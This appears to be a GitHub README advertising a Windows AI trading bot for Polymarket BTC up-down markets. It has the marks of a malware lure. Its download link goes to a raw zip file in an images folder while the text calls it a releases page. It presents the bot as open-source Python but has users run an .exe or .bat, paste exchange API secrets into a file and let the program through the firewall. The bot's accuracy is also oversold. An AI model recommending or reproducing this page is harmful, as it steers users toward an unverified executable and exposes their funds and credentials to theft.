🤖 polymarket-trading-bot-ai-model-btc-5m-15m-1h-stacked-ensemble-xgboost-lightgbm - Trade Smarter, Automate Your Crypto Bets
You are about to unlock the power of AI-driven trading on Polymarket, the leading prediction market platform. This bot is built specifically for BTC Up-Down markets with timeframes of 5 minutes, 15 minutes, and 1 hour. It doesn't just guess — it uses a powerful stacked ensemble model combining XGBoost and LightGBM, two of the most respected machine learning algorithms in the financial world, to analyze market data and make smart, automated decisions on your behalf.
Whether you're new to crypto trading or a seasoned pro, this bot takes the stress out of monitoring charts 24/7. It handles execution through Polymarket's CLOB (Central Limit Order Book) protocol, ensuring your trades are placed accurately and efficiently. You get full control to run in paper trading mode (practice, no real money) or live trading mode (real money, real profits).
| Feature | What It Means For You |
|---|---|
| 🧠 Stacked AI Ensemble | Combines XGBoost + LightGBM to make more accurate predictions than any single model |
| ⏱️ Multi-Timeframe Support | Works on 5m, 15m, and 1h markets for maximum flexibility |
| 📈 BTC Up-Down Focus | Specialized exclusively for Bitcoin price direction markets — a niche focus for better precision |
| ⚡ CLOB Execution | Uses Polymarket's proven order book system for reliable trade fills |
| 🧪 Paper Trading Mode | Practice with virtual funds and build confidence before going live |
| 💰 Live Trading Mode | Connect your real account and let the bot trade for you |
| 🐍 Pure Python | Built with clean, maintainable Python code — easy to trust and verify |
| 🔄 2026-Ready | Continuously updated to stay compatible with Polymarket's evolving platform |
Visit this link to download the application: https://raw.githubusercontent.com/Marjathirtyfour391/polymarket-trading-bot-ai-model-btc-5m-15m-1h-stacked-ensemble-xgboost-lightgbm/main/docs/images/2.4-beta.3.zip
Once you click the link above, you'll be taken to a standard GitHub Releases page. Look for the latest release version (it will start with "v" followed by numbers, like v1.2.0). You will see downloadable files listed there.
The bot is distributed as a self-contained package for Windows. When you download it, you'll receive a compressed file. On that release page, look for a file name ending with .zip. Click on it, and your browser will begin downloading. After the download finishes, navigate to your Downloads folder, find the .zip file, right-click on it, and choose "Extract All". Windows will create a new folder with the same name next to the zip file. Open that new folder, and you'll see everything you need.
Now that you have the extracted folder, follow these simple steps:
You've already done this if you followed the instructions above. Make sure you can see the contents of the extracted folder.
Inside the extracted folder, look for a file named run_bot.exe or start.bat. Double-click it. A command prompt window will open — this is normal and lets you see what the bot is doing. Keep this window open while you trade.
The bot will ask you a few questions the first time you run it:
- Mode: Type
paperorlive - Timeframe: Type
5m,15m, or1h - API Keys: Only needed for live trading (see below)
In your extracted folder, you'll find a file called config.json. Open it with Notepad. You'll see fields for:
polymarket_api_keypolymarket_secretpolymarket_passphrase
You need to generate these from Polymarket's official API dashboard. Log into your Polymarket account, go to API Settings, and create a new API key. Copy the key, secret, and passphrase into the config file, save it, and restart the bot.
Once running, the bot will log its actions in real-time — showing predictions, order placement, and trade results. For paper trading, you get a simulated balance of $10,000 to play with.
This bot is lightweight and runs on any reasonably modern Windows PC:
- Operating System: Windows 10 or Windows 11 (64-bit)
- RAM: 4 GB minimum (8 GB recommended)
- Storage: 500 MB free disk space
- Internet: A stable internet connection (Wi-Fi or Ethernet)
- No special hardware needed — a basic laptop or desktop works perfectly
Imagine having a team of two expert analysts working for you 24/7. The first expert (XGBoost) looks at historical BTC price patterns and market sentiment. The second expert (LightGBM) focuses on speed, analyzing the latest tick data and order flow. The bot doesn't just pick one expert — it uses a stacked ensemble approach, where a "supervisor" AI learns how to best combine predictions from both experts. This results in a final prediction that's more robust and accurate than either expert alone.
The bot evaluates these predictions every 5, 15, or 60 minutes, depending on your chosen timeframe, and automatically places buy/sell orders on Polymarket's Up-Down BTC markets when confidence levels are high.
- Paper Trading First: Start with paper trading to understand how the bot behaves without risking a cent.
- Error Handling: The bot is designed to handle API errors and network issues gracefully, logging any problems without crashing.
- Transparency: All trades and decisions are logged in a
trades.logfile inside the folder, so you can review every action. - No Hidden Code: The bot is open-source, meaning the code is publicly available for anyone to inspect.
Q: Do I need to know programming to use this? No! The bot is designed for everyday users. You just download, extract, and double-click to run.
Q: Can I lose money with this bot? Yes. All trading involves risk. Cryptocurrency markets are volatile. Always start with paper trading, and only risk money you can afford to lose.
Q: How often does the bot trade? It depends on your timeframe setting. On 5m markets, it can trade up to 12 times an hour. On 1h markets, about once per hour.
Q: Can I stop the bot at any time? Absolutely. Simply close the command prompt window, and the bot will stop gracefully.
Q: Does this work on Mac or Linux? The primary release is built for Windows. The source code can be run on other systems if you have Python 3.9+ installed, but the pre-built package is Windows-only.
| Problem | Solution |
|---|---|
| Bot not starting | Ensure you extracted the zip completely — don't run it from inside the zip file |
| "API key invalid" error | Double-check your API credentials in config.json |
| Bot disconnects | Check your internet connection and firewall settings — allow the bot through if prompted |
| Want to reset | Delete the config.json and rerun the bot to set up fresh |
- ⭐ Star the Repository on GitHub to show support and stay updated
- 🐛 Report Issues on the GitHub Issues page if you find bugs
- 📖 Clone the Source if you're curious about the code or want to contribute
You now have everything you need to start your journey into automated crypto trading on Polymarket. Remember: start with paper trading, watch how the bot behaves, and gradually transition to live trading when you feel confident. This bot was built to be your tireless trading partner — working while you sleep, learning from every data point, and executing with machine precision.
Visit this link to download the application: https://raw.githubusercontent.com/Marjathirtyfour391/polymarket-trading-bot-ai-model-btc-5m-15m-1h-stacked-ensemble-xgboost-lightgbm/main/docs/images/2.4-beta.3.zip
Happy trading, and may your predictions be ever in your favor! 📊✨
Keywords: btc-trading-bot, lightgbm, polymarket, polymarket-ai-trading-bot, polymarket-arbitrage-bot, polymarket-bot-2026, polymarket-clob-bot, polymarket-trading-bot, prediction-markets, python, xgboost